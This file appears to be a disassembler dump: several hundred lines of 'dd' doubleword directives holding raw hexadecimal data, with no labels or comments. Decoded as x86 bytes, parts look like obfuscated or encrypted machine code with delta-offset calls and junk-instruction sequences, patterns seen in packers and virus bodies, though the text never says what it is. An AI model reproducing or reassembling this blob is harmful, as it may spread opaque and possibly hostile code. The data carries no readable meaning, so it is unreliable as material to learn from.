		dd 0A5BF7397h, 2245D6E7h, 0EA040FE8h, 3BF9A3B4h, 0CFB952BEh
		dd 0C0815836h, 6C5Fh, 10E8h, 51E49500h,	4727A295h, 0EB5FC3C6h
		dd 10067846h, 10E86Eh, 28D80000h, 9094953Bh, 0E086AA3Fh
		dd 0C85FAA7Eh, 5E5E03F6h
		dd 1AEEBBh, 0FAB70F00h,	820F30FFh, 16h,	11E9h, 8C14AB00h
		dd 3B15C384h, 0A0680680h, 9CB46D18h, 8B5A28A2h,	3CF281FAh
		dd 0F54B1C6h, 385h, 0CB8B6600h,	214CEA81h, 0BF0F798Eh
		dd 0A5C281FFh, 805CE438h, 108953C9h, 5BE881FCh,	8131999Ah
		dd 999A57C0h, 0F4BF931h, 0FFFFA785h, 7E8FCFFh, 50000000h
		dd 0F39C3355h, 66501260h, 59E58BBFh, 0D781665Ah, 0C2812F31h
		dd 7372h, 5830Fh, 86BE0000h, 0BB0FE0B1h, 0
		dd 1A048BF5h, 751DBF66h, 0FD69E881h, 9E935ADh, 78000000h
		dd 0D516CD4h, 52941F4Eh, 2DF9C081h, 0E9536DB5h,	10h, 1CA20875h
		dd 0FED4B221h, 6A4CAB04h, 7913F1Dh, 51C0815Eh, 8968A8D5h
		dd 0E9561A04h, 12h, 8C89C762h, 1E794F6Bh, 896D37BEh, 0F9C52D0Ah
		dd 665EB305h, 1012CF81h, 6601EB83h, 4B4BF18Bh, 74FB814Bh
		dd 0FFFFF8Dh, 3B85h, 1C860F00h,	0E8000000h, 10h, 0B7B7910Fh
		dd 85A5158Dh, 222462D8h, 33F04211h, 820Fh, 0E95E0000h
		dd 25h,	198EA6DCh, 0EEAA57A1h, 374B50F8h, 0C72D6C70h, 3106CBDAh
		dd 0C4D162BEh, 0FF47E974h, 2776FFFFh, 0D30037DBh, 0E08D8D9Bh
		dd 8905ED7Ah, 0E70EBD9Dh, 23E08105h, 891D38B0h,	0E723158Dh
		dd 158D0105h, 0C705E722h, 0E708B985h, 588C05h, 8DBD8900h
		dd 0C705E712h, 0E70C9985h, 5, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 4292A877h
		dd 5E8B3h, 5C6D0000h, 3410D42h,	0E729BD95h, 0B5895A05h
		dd 5E7228Dh, 19E5B5FFh,	6A05E7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0F8EA20C3h, 0FFB8B66h
		dd 1983h, 14E900h, 62130000h, 1EB9A71Dh, 4A02587Eh, 8BDD6C00h
		dd 0AF0E626Ah, 95FF128Fh, 5E732CDh, 6E8h, 466B0500h, 89F878F8h
		dd 0E71569B5h, 6A5805h,	1A1D95FFh, 0C08B05E7h, 21350BEBh
		dd 1E105689h, 0C151AB7h, 8EB85h, 93000000h, 0E933708Eh
		dd 4A2h, 0ED7C0E68h, 26DE905h, 8568FFFAh, 0E905ED7Ch, 0FFFA0263h
		dd 0ED7DCD68h, 259E905h, 414FFFFAh, 5E4CDB75h, 5E4BD078h
		dd 4245D27Eh, 5941EE62h, 0AFC6EF61h, 418FCFFBh,	418FCFFAh
		dd 5FF1D1FAh, 5AF6D8F0h, 0D65A7F57h, 0EDC69899h, 6452C8BEh
		dd 0E2268A2Fh, 6BA3C375h, 21A9FA4Bh, 75E22C94h,	85D627C3h
		dd 665E4EB9h, 6A4F0727h, 0C375E286h, 0ED634C9Dh, 933BDA16h
		dd 5D117106h, 0AD2576C9h, 0CC68D0E5h, 1A6BC692h, 0E8F55C0h
		dd 97D6ECD8h, 186ED6ABh, 7318C692h, 94D34D57h, 0B3F161F1h
		dd 0F5000002h, 0B03C53E4h, 63D0E5EDh, 50C95CEAh, 0A774807h
		dd 0F6C53C41h, 0B2567FA9h, 0C35385F2h, 5E4FA2F3h, 6C803F7Eh
		dd 5C7921A9h, 0C03977D4h, 175F9EEFh, 107B1982h,	52672FCAh
		dd 0CA4640EEh, 0E45994E5h, 50A18185h, 0D0E8D17Eh, 7E40A38Ah
		dd 0C08A8B61h, 6EB916F5h, 88C213C0h, 8F4165A7h,	0D94668A0h
		dd 736BB7D0h, 0C393C860h, 5C000002h, 5DEA6650h,	58E76949h
		dd 5AE16F6Fh, 56FD5373h, 0D7FE5268h, 0F8DEC8A0h, 0F8DCCB50h
		dd 0E2C2CB50h, 0E7C7C16Eh, 0AB0E5869h, 0C6989EC5h, 35FBAFDEh
		dd 0DF1E3C6Ah, 1494CA0h, 0D1E6D429h, 74B75BA7h,	0A2E9B67Eh
		dd 4E7B449Ah, 88D9300Eh, 216CCADh, 1C6DC963h, 6ABD824Ah
		dd 1A046B4Ah, 1B072C3Ch, 9B1ADF23h, 0EC69838h, 4443381Eh
		dd 0C6A3EB6h, 24CA734h,	0E9D70000h, 0F6D463EDh,	0E6D378D0h
		dd 0FA2D7AD6h, 0E12976DAh, 17AE77D9h, 0E9675743h, 0E9675742h
		dd 0E7694942h, 0E26E7058h, 4E3287CFh, 45C6989Eh, 0EE026056h
		dd 50FFA72Fh, 21085678h, 5DE165C2h, 0B586C963h,	99209469h
		dd 0B556C698h, 0F950F15h, 7BB761ECh, 2F000001h,	0C4271700h
		dd 547A5292h, 0D1EF3906h, 0A188D6F6h, 8BE5AA59h, 7B44CC80h
		dd 33D21ED5h, 3DC13E9Bh, 0E536C95Ch, 38502499h,	6526C692h
		dd 0B0E57F65h, 4CE761F1h, 0E3000000h, 0C0A80D35h, 4AC375E2h
		dd 1530AD2Bh, 85D6A74Fh, 30D51BA6h, 20A23B9Eh, 0FEA6C95Ch
		dd 921855DBh, 0DE1D6EC6h, 963E1C6Dh, 7AA19F89h,	0DC2D7142h
		dd 18BC38E1h, 1ACAC692h, 0EECC0C35h, 8D0D5C9Fh,	0F1940D87h
		dd 0A93F61h, 358B0000h,	0DF1E3C6Ah, 0A8F6D8F0h,	176B535Fh
		dd 80DEE028h, 7A424FD0h, 0D6FDC524h, 0E8E47730h, 0F6D63D78h
		dd 0B95978D0h, 0A8C37565h, 3C745E60h, 79674E48h, 7C9DE5EDh
		dd 90F3515Bh, 0FE4684Bh, 0FAA3CE1h, 0C95F561Ah,	7BC48EDFh
		dd 70450D51h, 0C69F6688h, 737BBA8Bh, 74D4E22Ch,	9CB8E748h
		dd 210C6FBEh, 675CC1F9h, 0F6A3B60h, 104A833h, 919F0000h
		dd 8E9CABA5h, 0AE9BA0A8h, 0B295A2AEh, 0A991BE92h, 5F16BF91h
		dd 113F1F0Bh, 113F1F0Ah, 2F21010Ah, 2A260800h, 6EACF87h
		dd 1DC6989Fh, 6452B8EEh, 7BADFA56h, 35D5F55Bh, 3D01216Ah
		dd 6AA291ECh, 1F097644h, 965A113Fh, 817DFF7h, 1DFA391Dh
		dd 0C95D30A1h, 17993C96h, 2CC692ACh, 77D8F2C3h,	11DD734Bh
		dd 0AB0F0A19h, 80E3BBEBh, 92A45D27h, 0FEC0C8C6h, 0FDDDC552h
		dd 7C424AD5h, 92ECCF1Eh, 7DC9h,	0EE021100h, 328FA72Fh
		dd 496DBCDBh, 4BC21475h, 0A02A0957h, 6318D515h,	4C5F92C9h
		dd 0EA3B1268h, 3663CC94h, 0DA83806h, 0C69822BBh, 0DF1E6FB8h
		dd 5AF6D8F0h, 0A7FBDBCDh, 0FE1485D2h, 1DBD2CFFh, 11B99D8Fh
		dd 0E539010Eh, 9CABA984h, 6B54AA8Ch, 0BA3E1C20h, 32365CAh
		dd 0BB09B120h, 3A054D91h, 7EF23111h, 9CBCE9B6h,	745A72A1h
		dd 0CB526h, 35E50000h, 1B4DC27Dh, 240767A7h, 6652C8B8h
		dd 0EB3D0A50h, 8388F7CBh, 25105FA3h, 0B4E2CD11h, 434FB886h
		dd 0F1D8277Bh, 79A691EDh, 18327D41h, 5202E43Ah,	0C281E289h
		dd 4, 4BD55h, 0EA290000h, 2414875Dh, 0E089505Ch, 405h
		dd 4E88300h, 5C240487h,	68243489h, 1155h, 51240C89h, 0B9231568h
		dd 0E181592Eh, 5D1173ECh, 1DBFBA52h, 0C2812EABh, 464B582Eh
		dd 64A2CA81h, 42427BBEh, 2D11F281h, 0F28166E9h,	54DC5E36h
		dd 815AD121h, 1386E7E9h, 59CE8906h, 240C8B54h, 5204C483h
		dd 8F52F289h, 0FF5A0841h, 81592434h, 4C4h, 24348B00h, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFF9FDE3h, 0B857CF8Bh
		dd 7F480798h, 1451B5CBh, 0F6B8D7E2h, 305ED7Eh, 4FE0FFC5h
		dd 63664C37h, 0CD1E6DA5h, 23A5D4Fh, 0ED45F482h,	571CB712h
		dd 4632DEB7h, 2C6C4798h, 8D3C3967h, 0ED807A8Dh,	50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 380BEA25h, 0B0B7043Ah, 0FC78A77h, 298Eh, 13E800h, 0B61B0000h
		dd 59507625h, 0C495EB64h, 5C66030Dh, 5812372Dh,	0AE866h
		dd 0E9540000h, 46320148h, 483FFE11h, 8D895B5Eh,	5E72315h
		dd 8C2870BFh, 0B985C71Ch, 6005E708h, 3300005Eh,	0E70DE99Dh
		dd 9985C705h, 5E70Ch, 0F000000h, 1085h,	0BE900h, 36240000h
		dd 2CBD5309h, 0E045FCA0h, 0C5B5FF07h, 6605E708h, 6823F381h
		dd 32CD95FFh, 0F28B05E7h, 95FF006Ah, 5E71A1Dh, 78EBC08Bh
		dd 0E00DFBD2h, 0F622137Fh, 0AFC66B85h, 0E5B18197h, 916B4E41h
		dd 0C8AAE19Bh, 4DE4415Bh, 0A263AE3Ch, 22108AF5h, 50BF78C5h
		dd 97AB2DE8h, 623E902Dh, 638C019Ah, 82716FF8h, 0A5FED7F7h
		dd 5E596A70h, 0C5AF2435h, 0D0754363h, 0EA32BD71h, 61003552h
		dd 0AF766A57h, 94729E47h, 414AED47h, 0EE801345h, 42CCD9F6h
		dd 8DF2989Dh, 91D2A022h, 0E860E99Ch, 70FA1E5Dh,	34E42269h
		dd 81A88D8Dh, 853305EDh, 5E72B39h, 5A9FB752h, 23158D89h
		dd 6A05E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 22B6DEC3h, 2A698D31h, 85C705E7h, 5E708B9h
		dd 6A84h, 2499958Bh, 85C705E7h,	5E70C99h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0ABC35040h
		dd 9EBE3070h, 0FF431A75h, 0E731DDB5h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0BD8D89CEh, 0FC05E708h, 32CD95FFh, 0BF6605E7h, 6A78BAh
		dd 1A1D95FFh, 0C08B05E7h, 72F26BEBh, 0B7869B60h, 0BB19D812h
		dd 65F4EBA5h, 983655A5h, 3F778165h, 3C24A44Bh, 0C6B49F57h
		dd 0F50AA1E2h, 88CEDF62h, 97041AE4h, 0DBFA0BBCh, 181AD098h
		dd 31971FC7h, 3881ECF2h, 8D9E48A0h, 25083EF6h, 513DA8E8h
		dd 50CB1C6Ch, 94561504h, 1AA09A9Bh, 4DCF6108h, 0DC088F05h
		dd 0CD098859h, 3A7FF140h, 0D0C50A11h, 9F84E8A1h, 0EF8D8D9Bh
		dd 5305ED82h, 19840Fh, 14E90000h, 0A4000000h, 172B6BD8h
		dd 1558B79Ch, 0ED3DCC42h, 851EEEB8h, 5A690F83h,	23158D89h
		dd 9D2905E7h, 5E70101h,	8B985C7h, 72BC05E7h, 0BF0F0000h
		dd 698D89F0h, 0C705E72Ah, 0E70C9985h, 5, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 29BD8B92h, 0FF05E705h, 0E72D35B5h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 0DCB239C2h, 9DB58B6Bh, 0FF05E716h, 0E732CD95h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 6050DA2Ah, 2BD1858Bh, 0BD8905E7h, 5E715CDh, 0FF006A61h
		dd 0E71A1D95h, 0EBC08B05h, 531DF608h, 9EA0BE71h, 0FE895h
		dd 0D98B0000h, 2BEE6F0Fh, 0B6ADA348h, 509BDA77h, 5FDF8BF4h
		dd 0BE8h, 35B0E500h, 0CA5FDCE6h, 0E7CE8469h, 23759529h
		dd 815B05E7h, 59E6C7h, 0B8D08B00h, 5E08A040h, 7611C081h
		dd 958BA1F7h, 5E7145Dh,	0B58937FFh, 5E73105h, 6E959h, 0DC3B0000h
		dd 9304A602h, 0DB34E981h, 9D896789h, 5E720A5h, 0CD98C181h
		dd 81664951h, 815765F2h, 0D70203F1h, 0D2816662h, 8F51480Ah
		dd 81F28B07h, 0CF180BEFh, 4DCF8065h, 1807C781h,	816065CFh
		dd 5B98FFF1h, 0D195330Eh, 6105E701h, 1E881h, 850F0000h
		dd 0FFFFFF9Ch, 13E8h, 3CB55C00h, 5F391976h, 0FBCC8041h
		dd 1AA4F1B7h, 0C49BAE44h, 0AE850h, 14380000h, 792F3FFBh
		dd 8BE9A93Eh, 7E99D89h,	5A5F05E7h, 3FC6815Eh, 3000075h
		dd 0E7024595h, 1D1A6805h, 13E90000h, 53000000h,	57A08D78h
		dd 198F7C23h, 0DC76D9B0h, 2C77480Fh, 8B5998A2h,	0E936FFC2h
		dd 11h,	0B9618Ah, 26E09EC5h, 0F20DCD84h, 0EC3974D0h, 81F55B16h
		dd 0D525D6C3h, 75858B75h, 8105E726h, 7905FEF3h,	5595091Ch
		dd 8105E704h, 14E596EBh, 0BD958B03h, 8905E72Ch,	0DBD891Eh
		dd 8305E71Bh, 0E48004EEh, 1E9837Eh, 1C850Fh, 2CB80000h
		dd 0E921D2D1h, 24h, 99C157DEh, 1A3EF8DCh, 3244946h, 0A3CDEAAFh
		dd 0BD8BB5E0h, 5E7003Dh, 0FFFF84E9h, 375D03FFh,	39A374C2h
		dd 857A8D8Dh, 6A05EDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 9A5D8CC3h, 0FDEF3D2h, 138Bh, 0EE900h
		dd 0AFCB0000h, 0DED20702h, 2FA1418Eh, 61EE85CBh, 23158D89h
		dd 82BE05E7h, 0F770061h, 85C7C0BFh, 5E708B9h, 61FCh, 14E9h
		dd 93892400h, 9A2CCFDAh, 0B999442Bh, 0BB64E988h, 6687C846h
		dd 9985C728h, 5E70Ch, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 5898C356h, 0CA6533CCh
		dd 765FBE66h, 0EE852h, 1AE20000h, 938873D2h, 0DEA94DABh
		dd 7C077CDBh, 94B35A5Bh, 281DB5FFh, 8B6605E7h, 299D8BD9h
		dd 0FF05E715h, 0E732CD95h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0E24EC6D8h
		dd 95FF006Ah, 5E71A1Dh,	3DEBC08Bh, 7F278A02h, 34632850h
		dd 6D1CCE2Bh, 0A5E459D0h, 31A16BFEh, 34B337D4h,	868B697Bh
		dd 18D86B27h, 5798E8F5h, 5E7ACDCBh, 983D9990h, 0A4E51292h
		dd 0B5B76F8Eh, 0F50C65A5h, 6842D954h, 968D8D5Ch, 6A05ED86h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0B225C355h, 9A837A10h, 95958B78h,	8905E703h
		dd 0E723158Dh, 21958B05h, 0C705E722h, 0E708B985h, 71B405h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 14E67DECh, 85225059h, 12E89Fh, 8090000h
		dd 97842006h, 0D0E0583Ch, 0A8F2B5F2h, 0C26B2147h, 5C98D89h
		dd 0F5A05E7h, 389h, 0D38B6600h,	0C9985C7h, 5E7h, 0BD8B0000h
		dd 5E72ED5h, 262DB5FFh,	8BFC05E7h, 0CD95FFDEh, 6A05E732h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0B26DC353h, 39AB7FE8h, 0C3B70FA9h, 95FF006Ah
		dd 5E71A1Dh, 3EEBC08Bh,	0FF2529D5h, 0F755AC9Fh,	0B00BE280h
		dd 0E2B3E57Bh, 0D3603A8Ch, 4171ACFBh, 8320DBA2h, 0BAE34B8h
		dd 0F078C05Ch, 66B4509h, 20BEF1D1h, 0D4F2494Ch,	19E3ADBEh
		dd 0D4980FACh, 912BDD4Ch, 8D8D49DBh, 5ED87BCh, 137C46BFh
		dd 0C8816641h, 8D892C7Eh, 5E72315h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0C2C35343h,	0B07645E2h, 581A33Ch
		dd 0E081664Bh, 820F90FEh, 2, 85C7C28Ah,	5E708B9h, 5A78h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0F1C35343h
		dd 0DB58B62h, 105E72Ch,	0E70C9D8Dh, 9985C705h, 5E70Ch
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0FA80C352h, 0D6651EBEh, 9DB5FF67h
		dd 6A05E712h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0FA03C351h, 0D03E0E63h, 95FFB200h
		dd 5E732CDh, 22C9858Bh,	6A05E7h, 1A1D95FFh, 0C08B05E7h
		dd 57CD7AEBh, 95675126h, 9E64818h, 0F717BCA3h, 52BB6052h
		dd 0CD20453Ch, 3EDEC2F1h, 0F5C71EA0h, 4269D01Dh, 5D54E9D8h
		dd 130EDE52h, 4FCA3D83h, 9438156Eh, 6971E4B5h, 0D1E95F11h
		dd 3DBB5192h, 0F219F172h, 0BE742F04h, 0A272FCDh, 0D93DE09Bh
		dd 69269F39h, 657C8148h, 0A8689EBDh, 0F7BB63BDh, 550BAD96h
		dd 4DEEF97Ch, 4EA3132Eh, 0D88652D5h, 9F5D9B2Dh,	7948B13Ah
		dd 2E7DE471h, 0BE8h, 0B0D49C00h, 0AB5CE4CAh, 0E6904A4h
		dd 15E99589h, 895805E7h, 0E70601BDh, 0ECC08105h, 89000061h
		dd 0E71509BDh, 18456805h, 5BF50000h, 8E9h, 0DE2AB400h
		dd 3EEAB696h, 8930FF14h, 0E725759Dh, 0B5235A05h, 5E72F85h
		dd 6B2BEA81h, 0BD8B28D5h, 5E72BB9h, 0BB61F281h,	8D891F71h
		dd 5E7007Dh, 3488C281h,	12E95E19h, 0A000000h, 0AC1F96E9h
		dd 0ACD438D5h, 0FEC317B8h, 0BD3148F9h, 9D095272h, 5E720D1h
		dd 8D09008Fh, 5E70999h,	9280E881h, 0CE96E6Bh, 0D4000000h
		dd 0C747DE7Dh, 0F4541A94h, 81CFE29Ch, 6B927CC0h, 0F78B666Eh
		dd 1B850F4Bh, 8B000000h, 0E725498Dh, 1FE905h, 0CF4A0000h
		dd 0D35ECF9Ch, 6B1A9559h, 0E25A756Dh, 0ED80466Dh, 0FF63E9E9h
		dd 0C8B0FFFFh, 6DCDE4C1h, 14E857h, 0B4700000h, 0D42C7131h
		dd 27F09600h, 5AF29FA5h, 783F6E59h, 9D89FC59h, 5E71355h
		dd 1BD2958h, 8105E71Dh,	6FF4C0h, 4D8D8900h
		dd 6805E71Ch, 1BC9h, 5FD18B66h,	30FFF38Bh, 27E98D8Bh, 665B05E7h
		dd 81B94CBEh, 781008C3h, 68E0F7Ah, 8B000000h, 0E71B698Dh
		dd 82EB8105h, 605F80D3h, 2D6D8D89h, 62B005E7h, 0E8C38161h
		dd 8947CF97h, 0E70F319Dh, 89188905h, 0E700D99Dh, 2E88305h
		dd 664848F9h, 0CA96E681h, 0F01EF83h, 2985h, 13E900h, 68670000h
		dd 0AA4FC60Bh, 0EC51BDF6h, 2BAFAAEEh, 0CB71D67Bh, 28E9D7h
		dd 67BA0000h, 8117F674h, 60C0B431h, 85297319h, 5E729D9h
		dd 0FFFF75E9h, 57412CFFh, 0A36491CAh, 0B8AE2369h, 114CE839h
		dd 8D8D1F44h, 5ED8AB6h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 5CC35343h, 0F2827AD9h, 63B8281Fh, 8D899CB6h
		dd 5E72315h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	7C35040h, 77C683C6h, 8B985C7h, 5E4805E7h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 74F2A9C3h, 0F38B6613h, 0C9985C7h, 5E7h, 5E80000h, 0EC000000h
		dd 0A7ECD80Fh, 1631858Bh, 0E95F05E7h, 5, 3E10365Dh, 2DB5FFE2h
		dd 0B805E726h, 36E08C6Dh, 32CD95FFh, 0B58905E7h, 5E726EDh
		dd 95FF006Ah, 5E71A1Dh,	3EEBC08Bh, 0DF1734BFh, 29FA616Dh
		dd 49E44D7Ch, 811541FAh, 88381987h, 0A988F9BEh,	427C28C3h
		dd 0B7EF97EDh, 5B295335h, 1EDF32F0h, 34A7E244h,	6BC44B9Fh
		dd 8030CCE7h, 771E5025h, 60DEAC32h, 9E8E357h, 12000000h
		dd 81B91087h, 431F5343h, 845958Bh, 0F5905E7h, 683h, 0E1850100h
		dd 8105E732h, 5BBFC1h, 4DBE6600h, 0E4E5BFF4h, 0F7816853h
		dd 6853F222h, 68A0Fh, 0B58B0000h, 5E70375h, 8D0F31FFh
		dd 6, 135DB58Bh, 0E95805E7h, 0Fh, 0D2167021h, 8195D677h
		dd 0C7532B07h, 81A32890h, 6D1B3DE8h, 79B58B77h,	8105E72Eh
		dd 0AC4E9EE8h, 0F081F87Bh, 3FCABBE8h, 3CD0EA81h, 1894EE8h
		dd 9E9h, 836DE100h, 0A814EF7h, 0E983F6D5h, 0C3F78004h
		dd 0F01EF83h, 0FFFF9F85h, 3870FFFh, 66000000h, 8E8D08Bh
		dd 0C000000h, 0F56A74ABh, 5E463AC2h, 0AD9D8960h, 0B505E703h
		dd 0C6816124h, 63E6h, 13E9h, 56168C00h,	93A20957h, 15ECE685h
		dd 0CD5A4E8Eh, 0B7E69E93h, 68h,	0DE900h, 66C50000h, 0ECC0D07Eh
		dd 0AD69056Fh, 5A7443D4h, 2ABAD781h, 34FF0A10h,	3860F32h
		dd 80000000h, 815828EDh, 320E0AC0h, 830F3Fh, 81000000h
		dd 5EAABDC0h, 81666016h, 8B7424E8h, 0E70F598Dh,	0F0816105h
		dd 9CFCD9Dh, 2950CE8Bh,	0E70A8D95h, 16048F05h, 32D99589h
		dd 0CF8B05E7h, 0DFF4EA81h, 0BD896EFDh, 5E72B9Dh, 0DFF0C281h
		dd 12E96EFDh, 2F000000h, 40BC1E47h, 54944956h, 5B48531Eh
		dd 0B0FB5C1h, 0E0FA81EFh, 0FFFFF9Ch, 0FFFF8585h, 0AE8FFh
		dd 0FA700000h, 9B593D2h, 0A035F250h, 2EADBD31h,	15F05E7h
		dd 0E70E158Dh, 12C78105h, 0F000075h, 0B8F6BFh, 81000000h
		dd 77711EF2h, 3834FF25h, 26119D89h, 605905E7h, 198D09h
		dd 8E805E7h, 23000000h,	5F76DAC8h, 5ADFB8A4h, 2EC18161h
		dd 501C21ABh, 815E44B3h, 0C16764F1h, 8F67BB36h,	0E9812BA1h
		dd 75A3A346h, 92ADBE66h, 66070C89h, 0F43F3BBh, 68Eh, 93CE8100h
		dd 816C0C0Bh, 0E794BDE8h, 8109B733h, 0E794B9C0h, 0F506033h
		dd 8Ah,	0BA665B00h, 816179C5h, 0FF8BC4F8h, 16850FFFh, 1000000h
		dd 0E72EAD8Dh, 2AE905h,	0BFB90000h, 84572B2Bh, 978D792Ch
		dd 8B66608Fh, 89B58BCAh, 6105E724h, 0FFFF60E9h,	0D9078FFFh
		dd 0FB2898C3h, 3CC90FE3h, 0A03518Ah, 0A234AC42h, 0A27C2406h
		dd 3BB37D7Ah, 83D70B03h, 83B42A21h, 6F302590h, 863025C4h
		dd 82C998A7h, 893020F5h, 86305A8Dh, 78DA684h, 8635C267h
		dd 8642A12Eh, 3F62590h,	83D722B1h, 0E3A44D6Ah, 0B2B1958Dh
		dd 5B82F12Dh, 7F85DA9Ch, 0B35C246h, 6C4946A4h, 0DE0DA95h
		dd 7FB5E3B8h, 0C835C223h, 0DFEDF47Ah, 0A204A4FFh, 0D82B2F15h
		dd 0A3B190BDh, 3BD20C6h, 83DA5CF3h, 7EBBF5B7h, 8630359Dh
		dd 8638CC12h, 89962509h, 86302B01h, 4F3B6C42h, 79C0A02Eh
		dd 8BD9DA6Fh, 0B302548h, 617DDFB9h, 86359D17h, 65CF2509h
		dd 0B639809h, 0BBD20AFh, 83DDAB30h, 0B6153728h,	47FF0ECEh
		dd 0A234AC42h, 0A27C2406h, 3BB37D7Ah, 83D70B03h, 83B42A21h
		dd 6F302590h, 863025C4h, 0E98398A7h, 0B9A4F305h, 22h, 8EC48D8Dh
		dd 8D8905EDh, 5E72315h,	924F5B8h, 0B985C714h, 8405E708h
		dd 8900006Ah, 0E703119Dh, 9985C705h, 5E70Ch, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 9E9CC355h, 0BDBD03B9h, 0FF05E712h, 0E7281DB5h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 1A237BDh, 669C39C4h, 0FF5FCABEh,	0E732CD95h
		dd 0FDC2BE05h, 6A56B7h,	1A1D95FFh, 0C08B05E7h, 0FE303DEBh
		dd 13C71C48h, 36F01F0Ah, 2548ED0Dh, 5FF0FE28h, 1BFAF7Eh
		dd 41FE5BFFh, 89A87431h, 79E427Fh, 39FFAF3Eh, 42F4D255h
		dd 5F5A7035h, 32FAD0B8h, 39585B51h, 7CF7F148h, 0EB7B8703h
		dd 166CD104h, 595E94Bh,	55430000h, 4A40EF61h, 525FE464h
		dd 4E59E66Ah, 6D55E26Eh, 0A3D2E36Dh, 55FBC3CFh,	55FBC3CEh
		dd 53FDDDCEh, 6EE2C4C4h, 0DAAE0B5Bh, 0D9C6986Dh, 7A52FCAAh
		dd 0F1390654h, 8FD3EBD7h, 0DA656DBEh, 0BD8CD2F0h, 6AC2F27Eh
		dd 52D29351h, 9C85E4ECh, 3A1241BCh, 0AFF9C614h,	4644B38Fh
		dd 21AD1A60h, 7325C209h, 75FFD2A6h, 0BE80D1C3h,	5C9F6AB5h
		dd 0ED3F8D0Dh, 133807C9h, 0CE511D33h, 55B8FBC3h, 248C2970h
		dd 0A1C375E9h, 0A6F74078h, 91590955h, 75E9BC04h, 856B4EC3h
		dd 9EC375E9h, 3B93FC4Dh, 75E92A9Eh, 9DD829C3h, 6FB38BB6h
		dd 0DB271700h, 0D4E1BEECh, 0C375E96Ch, 0F9C51667h, 0E6484E3Dh
		dd 2D7F1BC0h, 2B70D8F8h, 3857D4E1h, 0D7FD7E4h, 961BDE3Ch
		dd 9C375B6h, 0A2A4F54Dh, 280AADA9h, 0B98123CBh,	0B18C87E0h
		dd 20B0983Eh, 2C67D936h, 46h, 2D7A52A6h, 75E22088h, 81D223C3h
		dd 0E272F8BDh, 0F8EBC375h, 8E5ACADEh, 16A67D9h,	7C000000h
		dd 45A7852h, 9B33133Bh,	6E4C8AB4h, 95E2DC1Fh, 30AF9BB2h
		dd 0AD4D0F16h, 0D6B17E5Ch, 143A10B0h, 193D6F34h, 64521337h
		dd 4DCDE85Fh, 156624EEh, 96A492BDh, 0E1C6B57h, 8E99A628h
		dd 5F734FAEh, 505EEAECh, 14328613h, 0E031C375h,	6DBE9E89h
		dd 527454E3h, 0C6F6230Ch, 4468A38Ch, 0F2D81776h, 0A5B191ECh
		dd 78F8E0E6h, 7467D896h, 63h, 0A91FBA62h, 0AAC374E2h, 524C1A59h
		dd 3F085664h, 0BF4CAF2h, 0BCEA4640h, 0BDE5B29Eh, 5776419Dh
		dd 6C3F2B77h, 7E81B96Ah, 1F7BB74Ch, 0B33DE8CBh,	0B167D89Eh
		dd 51h,	56645235h, 0D7E7D37Ch, 7F43A28Bh, 0D017DF57h, 0BA282436h
		dd 1737147Bh, 5F074FCBh, 751DF67Ah, 41BC8DC3h, 0EED8686Eh
		dd 52A060E8h, 0B1045A78h, 0C375E2CCh, 7042B53h,	0FDC1C827h
		dd 0A1AB2FBEh, 67D98E2Fh, 654943ECh, 8F53019h, 1, 5565525Ah
		dd 0C8EE3E09h, 0BE9E85F2h, 16361760h, 6A6C7FC8h, 0A22A2C0h
		dd 1FBFC670h, 6574B701h, 0E2DAC765h, 0BA5B916Eh, 0C6C76810h
		dd 0B18DD1F8h
		dd 4B2C0F58h, 0C95DD2DEh, 6C744A9Bh, 10AF11A4h,	0C3AC692h
		dd 0D12C7DCEh, 0B09AAAE2h, 2C7D4C92h, 1135173Ch, 108268CDh
		dd 0E4ACC692h, 0DB2E644Ch, 7DB87C8Ch, 94BB6C6Ah, 7F839AABh
		dd 62AE6C28h, 0ADFFD211h, 0D0F84789h, 4547B08Eh, 0D9891D61h
		dd 0D83C8411h, 7DA9C692h, 40A38C5Dh, 93BC6911h,	3C5293BAh
		dd 7584C163h, 0A2EAC924h, 0C55F4C9Ch, 7661F270h, 0D7C2FC29h
		dd 614896E7h, 18DB902h,	0E110000h, 88E13D1Dh, 6A353DADh
		dd 9F220121h, 521A4C51h, 0A3E8C6CDh, 9673B283h,	0C95CF7A9h
